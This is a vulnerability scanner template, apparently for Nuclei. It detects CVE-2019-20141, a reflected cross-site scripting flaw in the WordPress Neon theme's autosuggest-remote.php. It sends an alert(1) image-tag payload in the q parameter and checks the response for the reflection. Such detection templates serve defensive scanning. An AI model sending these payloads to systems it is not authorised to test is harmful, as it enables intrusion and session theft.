id: CVE-2019-20141

info:
  name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting
  author: knassar702
  severity: medium
  description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing administrative actions on behalf of users.
  remediation: |
    Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.
  reference:
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html
    - https://knassar702.github.io/cve/neon/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20141
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20141
    cwe-id: CWE-79
    epss-score: 0.05008
    epss-percentile: 0.91384
    cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: laborator
    product: neon
    framework: wordpress
  tags: cve2019,cve,xss,laborator,wordpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a00483046022100ea157facdb07ffb8281efef198c534459aa8fd3ea8cd55cf74a8531aae97c63b022100cc31309cbb000d35a8ad0a54ebdfdcaf5c12bf618e854213f2bc4433c99e0816:922c64590222798bb761d5b6d8e72950